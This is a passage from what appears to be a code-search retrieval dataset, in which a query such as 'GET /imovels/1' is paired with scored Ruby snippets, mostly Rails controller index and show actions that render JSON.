"text": "def read_state(raw = false)\n if docker_info.is_a?(FalseClass)\n state = :nocontainer\n else\n state = super()\n if state.nil? #Kludge\n state = :nocontainer\n @last_error = 'mc got nil from super in read_state'\n end\n end\n unless raw == true\n if state != @set_state && task_at_hand.nil?\n @last_error = \"Warning State Mismatch set to #{@set_state} but in #{state} state\"\n else\n @last_error = ''\n end\n end\n state\n rescue EnginesException =>e\n expire_engine_info\n :nocontainer\n clear_cid\n raise e\n end",
"title": ""
},
{
"docid": "08074bb70f07e5f82e26a0e3261cd15a",
"score": "0.41595176",
"text": "def persistence_wrapper\n yield\n end",
"title": ""
},
{
"docid": "01c7ef251125d7c0d5b854ec67ad1fe1",
"score": "0.4159164",
"text": "def addon\n\t\tsuper.deserialize\n\tend",
"title": ""
},
{
"docid": "7fe95cfa471285371b065b78f3ca3204",
"score": "0.4155549",
"text": "def rollback\n super\n each { |transition| transition.machine.write(object, :event, transition.event) unless transition.transient? }\n end",
"title": ""
},
{
"docid": "8b16150f2195f3d8f59ff420b17e7255",
"score": "0.41388762",
"text": "def react_routed\n @react_routed = true\n end",
"title": ""
},
{
"docid": "8b16150f2195f3d8f59ff420b17e7255",
"score": "0.41388762",
"text": "def react_routed\n @react_routed = true\n end",
"title": ""
},
{
"docid": "070b5e44792755b0fc5a4502b9ff4896",
"score": "0.4138403",
"text": "def set_readonly\n readonly! if persisted? && !parent\n end",
"title": ""
},
{
"docid": "0dff373e7174e44da4d1539b9d4eb498",
"score": "0.41348252",
"text": "def transient?\n options[:filename].to_s.eql?(':memory:')\n end",
"title": ""
},
{
"docid": "01413aa0841c1fbfb7dfb04e4fdf4fee",
"score": "0.41339508",
"text": "def create_fake_observable(obj)\n return if !obj.respond_to?(:observables) || obj.observables.present?\n\n Observable.create!(:remote_object_id => obj.cybox_object_id, :remote_object_type=> obj.class)\n obj.reload\n end",
"title": ""
},
{
"docid": "c5f4c7d23e649ab98683bdc8888be062",
"score": "0.41250345",
"text": "def public_write\n @public_write ||= public_write_was\n end",
"title": ""
},
{
"docid": "7f6b5987618436fdf63bd43ef37c7c6b",
"score": "0.41204792",
"text": "def frozen!\n @frozen = true\n end",
"title": ""
},
{
"docid": "0bcd005e3c276df90e96e7b654bfae05",
"score": "0.4119149",
"text": "def shutdown_gracefully\n super\n @publisher.shutdown_gracefully\n end",
"title": ""
},
{
"docid": "32e89bb123671522f522d18836c6e89e",
"score": "0.4111167",
"text": "def communicates?; !disconnected? end",
"title": ""
},
{
"docid": "9d887a0acccc502a11f798f4e3acc61d",
"score": "0.41102195",
"text": "def rehydrate\n Client.new(hostname: hostname, port: port, enabled: enabled, trusted_cas: trusted_cas, logger_name: logger_name, timeout: timeout)\n end",
"title": ""
},
{
"docid": "fff3d2dc5ecaca800674ef75ec068bf1",
"score": "0.41087773",
"text": "def subscribe!\n # TODO: Implement\n end",
"title": ""
},
{
"docid": "90490a3f3d99ab3fe4ba2a816b1df674",
"score": "0.41075152",
"text": "def freeze\n deserialized_values.freeze\n super\n end",
"title": ""
},
{
"docid": "55d3db4fb4ff5d7b321daf99beae03cb",
"score": "0.410633",
"text": "def reset\n logger.info \"Resetting reactor subsystem\"\n Reactor.reset\n end",
"title": ""
},
{
"docid": "518997308858552c096cf4f617e05e25",
"score": "0.4106131",
"text": "def test_respects_force_reload\n project = Project.create()\n Actor.create(:project_id => project.id)\n\n actor = Actor.find_version(1, 2)\n project = actor.project\n\n assert_same project, actor.project\n assert_same project, actor.project(false)\n \n reloaded_project = actor.project(true)\n assert_not_same project, reloaded_project\n assert_equal project, reloaded_project\n end",
"title": ""
},
{
"docid": "ff0b6ea8203d663a5a988b2657a02f35",
"score": "0.41021514",
"text": "def retry\n self.solved(:retry)\n end",
"title": ""
},
{
"docid": "b4f99f46adbfca1cdc58730c6973939f",
"score": "0.41021067",
"text": "def testPubSub2()\n conn = Scalaris::PubSub.new(conn = Scalaris::JSONConnection.new(url = Scalaris::DEFAULT_URL))\n conn.close_connection()\n end",
"title": ""
},
{
"docid": "cadefb3f751d1a894c4162a9e594c5b6",
"score": "0.409977",
"text": "def set_reactive\n @reactive = Reactive.find(params[:id])\n end",
"title": ""
},
{
"docid": "c8dba6f72622da223e106c9f150ca562",
"score": "0.4099283",
"text": "def process\n client.unreliable_activity_without_retry_options\n end",
"title": ""
},
{
"docid": "ef1d8de1edccec3a664454458fd41227",
"score": "0.40964922",
"text": "def extra_state; end",
"title": ""
},
{
"docid": "7de8202c992d13dd9fe5cc3ee17930fa",
"score": "0.40947112",
"text": "def initialize(*args)\n @persisted = false\n super\n end",
"title": ""
},
{
"docid": "d734564e3b9aa573bfa38bdcc04ee308",
"score": "0.40902147",
"text": "def ignore_state_changes!\n @ignore_state_changes = true\n end",
"title": ""
},
{
"docid": "1f932213c1344f6541bb7e2bdbd1c68a",
"score": "0.4081548",
"text": "def deferred? ; false ; end",
"title": ""
}
] |
880925ff0fcf3cbf4552568982bf8a2c
|
GET /imovels/1 GET /imovels/1.json
|
[
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] |
[
{
"docid": "954f66988e37d2a21705a5745530bc83",
"score": "0.74943763",
"text": "def show\n @imovel = Imovel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @imovel }\n end\n end",
"title": ""
},
{
"docid": "6b90793e4a546fae05ff41f37c0992a7",
"score": "0.6844328",
"text": "def index\n @ice_ores = IceOre.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ice_ores }\n end\n end",
"title": ""
},
{
"docid": "48cf2b71d932509c4881774854c357e3",
"score": "0.68291",
"text": "def pesquisa\n \n @imovels = Imovel.all\n \n respond_to do |format|\n format.html \n format.json { render json: @imovels }\n end\n end",
"title": ""
},
{
"docid": "a95a8fb75b9893b7ba7ce8a294f80c9a",
"score": "0.6701128",
"text": "def show\n @tipo_imovel = TipoImovel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_imovel }\n end\n end",
"title": ""
},
{
"docid": "8ef0ef8c5d7ba8b00f1b31bb081747d3",
"score": "0.6672394",
"text": "def index\n @nivels = Nivel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nivels }\n end\n end",
"title": ""
},
{
"docid": "600df9480b7bdb71d92bb01efa153823",
"score": "0.65777427",
"text": "def show\n @automovel = Automovel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @automovel }\n end\n end",
"title": ""
},
{
"docid": "57bf90c5819e4ed817ae1201604b38a6",
"score": "0.6552464",
"text": "def index\n @villas = Villa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @villas }\n end\n end",
"title": ""
},
{
"docid": "e4d8950ae9b20beb6b04408a5dc9c872",
"score": "0.65274525",
"text": "def index\n @viagems = Viagem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @viagems }\n end\n end",
"title": ""
},
{
"docid": "34f0a675c2918edb70696e2c53fa99be",
"score": "0.6493412",
"text": "def index\n @riesgos = Riesgo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @riesgos }\n end\n end",
"title": ""
},
{
"docid": "3817bd27b4be615bef0ec0ceab50e750",
"score": "0.6481817",
"text": "def new\n @imovel = Imovel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @imovel }\n end\n end",
"title": ""
},
{
"docid": "26e73637b7c182d3e5c460c19f140005",
"score": "0.64667135",
"text": "def index\n @roofs = Roof.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roofs }\n end\n end",
"title": ""
},
{
"docid": "d6a879df85abc965945f045bb2476ecc",
"score": "0.6446928",
"text": "def larves\n self.class.get('/monstre_larve.json')\n end",
"title": ""
},
{
"docid": "398a2e9bf4d356b5b16193d315b5cf25",
"score": "0.64233094",
"text": "def show\n @ice_ore = IceOre.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ice_ore }\n end\n end",
"title": ""
},
{
"docid": "25eabf591f4ff0ff4051d9398208b40f",
"score": "0.6417258",
"text": "def index\n @ivrs = Ivr.order(:id).page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ivrs }\n end\n end",
"title": ""
},
{
"docid": "5c4fcd33af928ebb239dea5912e8ad48",
"score": "0.63910055",
"text": "def index\n @voyages = Voyage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @voyages }\n end\n end",
"title": ""
},
{
"docid": "fc73f983604c4ea1b86ae6e93ed2ffa5",
"score": "0.63861734",
"text": "def index\n @viajes = Viaje.all\n render json: @viajes\n end",
"title": ""
},
{
"docid": "3ed276846dca85986057c320d5a701a4",
"score": "0.637174",
"text": "def index \n spices = Spice.all\n render json: spices\nend",
"title": ""
},
{
"docid": "f98d846cd877dda91febc1c75213590a",
"score": "0.6360798",
"text": "def index\n @equipo_de_alto_rendimientos = EquipoDeAltoRendimiento.all\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipo_de_alto_rendimientos }\n end\n end",
"title": ""
},
{
"docid": "40baaebecc229ce7d34614cfc975d2e6",
"score": "0.6345884",
"text": "def index\n @votos = Voto.all\n\n render json: @votos\n end",
"title": ""
},
{
"docid": "003cb2a7f931c59a92feca10b0669d2b",
"score": "0.6341188",
"text": "def index\n @ivs = Iv.all\n render json: @ivs\n end",
"title": ""
},
{
"docid": "1545e8221b3af4905798987ccee052b1",
"score": "0.6332629",
"text": "def index\n @pelicula = Pelicula.all\n render json: @pelicula, status: :ok \n end",
"title": ""
},
{
"docid": "26f2964da28a462fe7c0789a0c59ad2d",
"score": "0.633097",
"text": "def index\n @pacient = Pacient.find(params[:pacient_id])\n @iesires = @pacient.iesire\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @iesires }\n end\n end",
"title": ""
},
{
"docid": "98dec5b517bd58e91b2eab3a8d6da1c5",
"score": "0.6302542",
"text": "def index\n @lemurs = Lemur.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lemurs }\n end\n end",
"title": ""
},
{
"docid": "099daa2d438f266f80821e73e20843f1",
"score": "0.6297552",
"text": "def index\n @ice_ores = IceOre.all\n @ice_products = IceProduct.all\n @ice_yields = IceYield.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ice_yields }\n end\n end",
"title": ""
},
{
"docid": "49df72e7ea36610748b7b9e7b1278ac4",
"score": "0.62975025",
"text": "def index\n @theader = Theader.find params[:office_id]\n respond_to { |f| f.json {} }\n end",
"title": ""
},
{
"docid": "283584c2e557580b783c505e6f2697ee",
"score": "0.62865996",
"text": "def index\n @tipees = Tipee.all\n json_response(@tipees)\n end",
"title": ""
},
{
"docid": "f835dd603ce08f39a89a1350066b11a9",
"score": "0.6284934",
"text": "def index\n @orgaos = Orgao.all\n\n render json: @orgaos\n end",
"title": ""
},
{
"docid": "fe4bb97a5033b232891d727861eb8fcd",
"score": "0.62844265",
"text": "def show\n @imovel = Imovel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @imovel }\n end\n end",
"title": ""
},
{
"docid": "a383e87254c0d998528669c8a0b1ab87",
"score": "0.6276183",
"text": "def index\n @vitals = Vital.all\n render json: @vitals\n end",
"title": ""
},
{
"docid": "f25640a48176e269392fb4196a8c32ed",
"score": "0.6274458",
"text": "def index\n screen_name(\"Admin-Indice-OTs\")\n @ots = Ot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ots }\n end\n end",
"title": ""
},
{
"docid": "5a1c164102e7f6c7f0347155db7e1d59",
"score": "0.6254715",
"text": "def index\n @violators = Violator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @violators }\n end\n end",
"title": ""
},
{
"docid": "f23ca27eb69f43814ac7b8b921c72d70",
"score": "0.62529",
"text": "def index\n @dioceses = Diocese.all\n\n render json: @dioceses\n end",
"title": ""
},
{
"docid": "bf3e96a9db57929f4a0ebf930d191e4c",
"score": "0.6252182",
"text": "def index\n @involvements = Involvement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @involvements }\n end\n end",
"title": ""
},
{
"docid": "6ebbb54bee03987b261ed2d4015de31c",
"score": "0.6231694",
"text": "def index\n # @rooms = Room.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Oj.dump(@rooms, mode: :compat) }\n end\n end",
"title": ""
},
{
"docid": "49ba69c47852ec5b5f399eb2e6938323",
"score": "0.6230163",
"text": "def index\n @angels = Angel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @angels }\n end\n end",
"title": ""
},
{
"docid": "ca52ada4aa919c3b72eeb15bce782d34",
"score": "0.6227079",
"text": "def index\n @poets = Poet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @poets }\n end\n end",
"title": ""
},
{
"docid": "a2f6177497879be2a892cab57b057039",
"score": "0.62204593",
"text": "def index\n @lieus = Lieu.paginate(page: params[:page], per_page: 20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lieus }\n end\n end",
"title": ""
},
{
"docid": "6e7af74b527610d1877fc982e394a0dc",
"score": "0.6219407",
"text": "def show\n @riesgo = Riesgo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @riesgo }\n end\n end",
"title": ""
},
{
"docid": "b983db6f7bfaaa7b0d2cfc62f1152758",
"score": "0.6219243",
"text": "def index\n @vinos = Vino.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vinos }\n end\n end",
"title": ""
},
{
"docid": "c9fb75edda67a4ba9a2e902f82537bbc",
"score": "0.6211278",
"text": "def index\n @jogos = Jogo.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @jogos }\n end\n end",
"title": ""
},
{
"docid": "52bec004be4cf3e033594508c92a9405",
"score": "0.6210094",
"text": "def show\n @policial = Policial.find(params[:id])\n @items = Item.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @policial }\n end\n end",
"title": ""
},
{
"docid": "8834d8efeb766be337366e5b97600a76",
"score": "0.62084866",
"text": "def show\n @receipe = Receipe.find(params[:id])\n\n render json: @receipe\n end",
"title": ""
},
{
"docid": "74c74eb0eeccaf86be14242389b400ca",
"score": "0.62079394",
"text": "def index\n @metros = Metro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @metros }\n end\n end",
"title": ""
},
{
"docid": "0be427cfa8b21041ca2bd64f0b92e47f",
"score": "0.62009907",
"text": "def show\n @ice = Ice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ice }\n end\n end",
"title": ""
},
{
"docid": "391510886307915dc23effe324f3b0dd",
"score": "0.61977065",
"text": "def show\n @olimpiada = Olimpiada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @olimpiada }\n end\n end",
"title": ""
},
{
"docid": "a701654f065404f332c1747d698f6a5b",
"score": "0.61884296",
"text": "def new\n @imovel_detalhes = ImovelDetalhe.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @imovel }\n end\n end",
"title": ""
},
{
"docid": "7691c09887fc564c980c01eb169abc18",
"score": "0.6187391",
"text": "def index\n @api_v1_victims = Api::V1::Victim.all\n respond_to do |format|\n format.html { @api_v1_victims }\n format.json { render json: {results: @api_v1_victims, message: 'Victims have loaded successfully.'} }\n end\n end",
"title": ""
},
{
"docid": "1e85e4abe3a79e9038d0b4bd7d5d88f8",
"score": "0.6187013",
"text": "def index\n @movers = Mover.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movers }\n end\n end",
"title": ""
},
{
"docid": "31e1c5b97db39f74f04bd41356b8db2a",
"score": "0.61849135",
"text": "def index\n @officeable, @name = find_polymorphic\n @offices = @officeable.offices\n @title = @name.titleize + \" Offices\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offices }\n end\n end",
"title": ""
},
{
"docid": "b0a89cbf2f2d6d7a21ab047aff289eb8",
"score": "0.6182856",
"text": "def index\n @minis = Mini.all\n puts \"#{@minis.to_s}\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @minis }\n end\n end",
"title": ""
},
{
"docid": "4d32c0b33d9581923ca6055511fc1516",
"score": "0.6176815",
"text": "def index\n @rooms = Room.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @rooms}\n end\n\n end",
"title": ""
},
{
"docid": "3476a4eecc8e4781eccf7ee9d15cfc23",
"score": "0.6176424",
"text": "def index\n @turnos = Turno.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @turnos }\n end\n end",
"title": ""
},
{
"docid": "53bd420683636825d6a1456bd9486e1e",
"score": "0.6176293",
"text": "def index\n @peticion_peticion_tis = Peticion::PeticionTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_peticion_tis }\n end\n end",
"title": ""
},
{
"docid": "a5f66210768a85a46ce7d453ed2475cb",
"score": "0.6170805",
"text": "def show\n @lectivo = Lectivo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lectivo }\n end\n end",
"title": ""
},
{
"docid": "6d5d9fd186421319f0589d5963706140",
"score": "0.6167273",
"text": "def index\n @equipaments = Equipament.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipaments }\n end\n end",
"title": ""
},
{
"docid": "64b85c0376cc0179279af8bc8cccf114",
"score": "0.6165658",
"text": "def index\n @universes = Universe.page params[:page]\n if params[:page].nil?\n set_pagination_headers(1)\n else\n set_pagination_headers(params[:page])\n end\n render json: @universes\n end",
"title": ""
},
{
"docid": "cc02847c57ef47ecc5d964d68926e38a",
"score": "0.6162638",
"text": "def show\n @livre = Livre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @livre }\n end\n end",
"title": ""
},
{
"docid": "848b2e149cd9f2d9dfafaa20e2c61d64",
"score": "0.6159749",
"text": "def index\n @motions = Motion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @motions }\n end\n end",
"title": ""
},
{
"docid": "2b45c9e6e13856d3015e1a492dda702f",
"score": "0.61552876",
"text": "def index\n @lesuurs = Lesuur.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lesuurs }\n end\n end",
"title": ""
},
{
"docid": "0dc40a5a6344d9d5b79aea9e7987a2ea",
"score": "0.6147353",
"text": "def index\n render json: {'status' => 'SUCCESS',\n 'endpoints': [\"get /logica/mover/:columna\",\n \"get /logica/new/:tamF/:n2w | Tamaño de la fila, seguidas para ganar | GET por mientras, despues se cambia\"]\n }, status => 'ok'\n end",
"title": ""
},
{
"docid": "d066128ab98e3720ff6268a04b8c1fbb",
"score": "0.6147046",
"text": "def index\n @toilets = Toilet.all\n\n respond_to do |format|\n format.html\n format.json { render json: @toilets }\n format.xml { respond_with @toilets }\n end\n end",
"title": ""
},
{
"docid": "654975a799fec411113504e18e827633",
"score": "0.61431134",
"text": "def index\n @equipment = Equipment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipment }\n end\n end",
"title": ""
},
{
"docid": "654975a799fec411113504e18e827633",
"score": "0.61431134",
"text": "def index\n @equipment = Equipment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipment }\n end\n end",
"title": ""
},
{
"docid": "4986800eaab85a0e0e440fc4449a6493",
"score": "0.6142607",
"text": "def index\n @imobiliarias = Imobiliaria.all\n\n #respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @imobiliarias }\n #end\n end",
"title": ""
},
{
"docid": "fb313980a654e84e3b2f9da3339a91a2",
"score": "0.61425906",
"text": "def index\n @itineraries = Itinerary.all\n\n render json: @itineraries\n end",
"title": ""
},
{
"docid": "96b5ac008b6205fdc4eb602d411327bd",
"score": "0.613624",
"text": "def show\n uri = URI('https://api.ridemetro.org/data/CalculateItineraryByPoints')\n\n query = URI.encode_www_form({\n # Request parameters\n 'lat1' => '',\n 'lon1' => '',\n 'lat2' => '',\n 'lon2' => '',\n 'startTime' => `datetime'#{Time.now.utc.iso8601}'`,\n '$format' => 'JSON',\n '$orderby' => 'EndTime',\n '$expand' => 'Legs'\n })\n\n if uri.query && uri.query.length > 0\n uri.query += '&' + query\n else\n uri.query = query\n end\n\n request = Net::HTTP::Get.new(uri.request_uri)\n # Request headers\n request['Ocp-Apim-Subscription-Key'] = '6741c2454ce544309f5020fbd7b6e4ca'\n # Request body\n request.body = \"{body}\"\n\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n http.request(request)\n end\n\n puts \"response.body:\", response.body\n puts \"you made a get request I think?? (to #show or /itineraries/1?\"\n render json: response.body\n\n end",
"title": ""
},
{
"docid": "ea87386d5283299a3de579d8ebf87fa7",
"score": "0.6135679",
"text": "def index\n @room = Room.find params[:room_id] if params[:room_id]\n @prices = @room.prices\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prices }\n end\n end",
"title": ""
},
{
"docid": "526a684a5edae647e3adea9abe0a4fb9",
"score": "0.6132434",
"text": "def index\n @armors = Armor.all\n\n render json: @armors\n end",
"title": ""
},
{
"docid": "e57bc9cc27be64d038a6a22a327c0a2c",
"score": "0.61304975",
"text": "def index\n @rooms = @hotel.rooms\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rooms }\n end\n end",
"title": ""
},
{
"docid": "d13359a6abf2ee12dd7d0abcc3213b02",
"score": "0.61234003",
"text": "def sympols_index_action\n response = Unirest.get(\"http://localhost:3000/sympols\")\n sympols = response.body\n puts JSON.pretty_generate(sympols)\n end",
"title": ""
},
{
"docid": "636ef7fc78b98c21b155836c053cb3c9",
"score": "0.61198086",
"text": "def new\n @imovel = Imovel.new \n @imovel.moeda = \"USD\"\n @imovel.raio = 200\n @imovel.user = current_user\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @imovel }\n end\n end",
"title": ""
},
{
"docid": "1b58fdb867471222374a369b42a8eee0",
"score": "0.61197925",
"text": "def index\n @equipo_promocions = EquipoPromocion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipo_promocions }\n end\n end",
"title": ""
},
{
"docid": "b6fa4b67a92ed14a1be2cc4580a59821",
"score": "0.6117637",
"text": "def index\n @tunneltemps = Tunneltemp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tunneltemps }\n end\n end",
"title": ""
},
{
"docid": "0fa6caac15cf10a2102b662134e92581",
"score": "0.6116639",
"text": "def index\n @rola = find_rola\n @rolarticulos = @rola.rolarticulos\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @rolarticulos }\n end\n end",
"title": ""
},
{
"docid": "6650a4e6fdd7fc6462157a497da230d8",
"score": "0.611157",
"text": "def show\n @loteo = Loteo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loteo }\n end\n end",
"title": ""
},
{
"docid": "f5c923dab4affd41cf4331347db049b2",
"score": "0.61088926",
"text": "def index\n @tenures = Tenure.all\n render json: @tenures\n end",
"title": ""
},
{
"docid": "e0d46f659dfb20e14ad4aa6df89bc150",
"score": "0.6108207",
"text": "def index\n @recips = Recip.all\n\n render json: @recips.as_json\n end",
"title": ""
},
{
"docid": "fd28c5492e4ce33a6557ccb473fd7341",
"score": "0.61078185",
"text": "def show\n @lop_mon_hoc_sinh_vien = LopMonHocSinhVien.find(params[:id])\n\n respond_to do |format| \n format.json { render json: @lop_mon_hoc_sinh_vien }\n end\n end",
"title": ""
},
{
"docid": "556389086dec95d182fe87aa9525a2bf",
"score": "0.61065674",
"text": "def show\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @servico }\n end\n end",
"title": ""
},
{
"docid": "556389086dec95d182fe87aa9525a2bf",
"score": "0.61065674",
"text": "def show\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @servico }\n end\n end",
"title": ""
},
{
"docid": "556389086dec95d182fe87aa9525a2bf",
"score": "0.61065674",
"text": "def show\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @servico }\n end\n end",
"title": ""
},
{
"docid": "43c3003ad83b0a67c9dc225938af1f04",
"score": "0.6104082",
"text": "def index\n @inventories = @user.inventories\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventories }\n end\n end",
"title": ""
},
{
"docid": "b1267644c15d59dd80b531ee89e98bb2",
"score": "0.61024797",
"text": "def index\n @leaverolls = Leaveroll.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leaverolls }\n end\n end",
"title": ""
},
{
"docid": "792aff1f0a64b034f1c6930d0e5a24d3",
"score": "0.60992455",
"text": "def index\n @inventories = Inventory.all\n respond_to do |format|\n format.html\n format.json { render :json => @inventories }\n end\n end",
"title": ""
},
{
"docid": "09b2aa7cd477a1c53cbb1bca18f1c8b5",
"score": "0.6098173",
"text": "def show\n @sorvete = Sorvete.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sorvete }\n end\n end",
"title": ""
},
{
"docid": "7dceba98bb0684a0104f92d167a183db",
"score": "0.60977614",
"text": "def index\n @missions = Mission.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @missions }\n end\n end",
"title": ""
},
{
"docid": "f04395d57bb181404f66943f8056031a",
"score": "0.6097338",
"text": "def index\n authorize! :index, Moon\n @moons = Moon.search(params)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @moons }\n end\n end",
"title": ""
},
{
"docid": "0fa0f6ff9675afd7d4a8c4f1279600b7",
"score": "0.60956764",
"text": "def show\n @vinyl = Vinyl.find(params[:id])\n render json: @vinyl\n end",
"title": ""
},
{
"docid": "81da21dda081f310cc416cee44bc2409",
"score": "0.6095538",
"text": "def show\n @galaxy = Galaxy.find(params[:galaxy_id])\n @velocity = @galaxy.velocities.find(params[:id])\n\n respond_to do |format|\n format.html { render :show }\n format.json { render :json => @velocity.to_json(\n :only => [:id, :galaxy_id, :r, :vrot_data, :vrot_data_error])\n }\n end\n end",
"title": ""
},
{
"docid": "ee400d964ed6a7dc3cb23adefcb4a984",
"score": "0.609465",
"text": "def index\n @ocars = Ocar.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ocars }\n end\n end",
"title": ""
},
{
"docid": "bc76256709ad608a5aa310611148a2f3",
"score": "0.60939205",
"text": "def index\n @vehicles = Vehicle.all\n\n render json: @vehicles\n end",
"title": ""
},
{
"docid": "c5d82e15c066ddabeddfc69b03ca8470",
"score": "0.6092997",
"text": "def index\n @galaxy = Galaxy.find(params[:galaxy_id])\n @q = @galaxy.velocities.search(params[:q])\n @q.sorts = 'id asc' if @q.sorts.empty?\n if params[:page] != \"false\"\n @velocities = @q.result(distinct: true).page(params[:page])\n else\n @velocities = @q.result(distinct: true)\n end\n\n respond_to do |format|\n format.html { render :index }\n format.json { render :json => @velocities.to_json(\n :only => [:id, :galaxy_id, :r, :vrot_data, :vrot_data_error])\n }\n end\n end",
"title": ""
},
{
"docid": "4cdc76b0deb87fcdb4a7db9788cf8b2e",
"score": "0.6092606",
"text": "def index\n @rooms = Room.all\n render json: @rooms\n end",
"title": ""
},
{
"docid": "0fa532fed121a88fc7e37e254a3d4c29",
"score": "0.60925144",
"text": "def index\n @ice_products = IceProduct.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ice_products }\n end\n end",
"title": ""
},
{
"docid": "8265cf278d1e26e8515aa70cbe5aebc0",
"score": "0.60921025",
"text": "def index\n @reels = Reel.includes(:clips).where(\"title <> ''\").where(\"user_id = ?\", current_user.id).order('created_at DESC').page(params[:page]).per(params[:number])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reels }\n end\n end",
"title": ""
},
{
"docid": "704d40fa8bfbb23729ffdfbd030daf52",
"score": "0.60919666",
"text": "def index\n @velatorios = Velatorio.all\n end",
"title": ""
},
{
"docid": "f7184ba528b464d5b69f2f220a15863c",
"score": "0.6091864",
"text": "def show\n @rol = Rol.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @rol }\n end\n end",
"title": ""
},
{
"docid": "c312cbe04c19e55e7eff35ef510113d1",
"score": "0.6090097",
"text": "def index\n @layers = Layer.where(:soil_id => params[:soil_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @layers }\n end\n end",
"title": ""
},
{
"docid": "dbd070d6f80666eb4de1ac2907da3264",
"score": "0.60818607",
"text": "def show\n @ithero = Ithero.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ithero }\n end\n end",
"title": ""
},
{
"docid": "25577b46adf33964d25a0ec4221928a7",
"score": "0.60815877",
"text": "def index\n @lectures = Lecture.all\n\n render json: @lectures\n end",
"title": ""
},
{
"docid": "c25b56bca6e5d828071e3a43a4c6586e",
"score": "0.60810643",
"text": "def show\n @polouse = Polouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @polouse }\n end\n end",
"title": ""
}
] |
6198e34e6b3f8cf3aa6944285501d388
|
Get status of audit query execution
|
[
{
"docid": "ce786f507985b7b6aa67e324ac4806e0",
"score": "0.0",
